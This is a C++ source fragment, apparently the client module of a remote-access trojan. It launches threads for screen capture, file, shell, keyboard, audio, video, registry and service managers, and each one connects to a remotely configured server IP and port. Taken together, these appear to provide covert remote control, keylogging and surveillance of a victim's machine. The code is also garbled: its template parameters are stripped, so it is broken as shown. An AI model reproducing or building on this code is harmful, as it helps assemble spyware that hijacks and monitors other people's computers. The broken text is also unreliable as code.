#include "StdAfx.h" #include "Common.h" #include "ScreenManager.h" #include "FileManager.h" #include "TalkManager.h" #include "ShellManager.h" #include "SystemManager.h" #include "AudioManager.h" #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" #include "KeyboardManager.h" #include "KernelManager.h" extern CONNECT_ADDRESS g_SETTINGS; DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); SetEvent(ThreadArgList.hEvent); DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); return dwReturn; } template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = pInfo->p; if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n, pInfo->user); ClientObject->RunEventLoop(pInfo->run); } delete ClientObject; pInfo->p = NULL; return 0; } DWORD WINAPI LoopScreenManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopFileManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopTalkManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopShellManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopProcessManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopWindowManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopVideoManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopAudioManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopRegisterManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopServicesManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { return LoopManager(lParam); }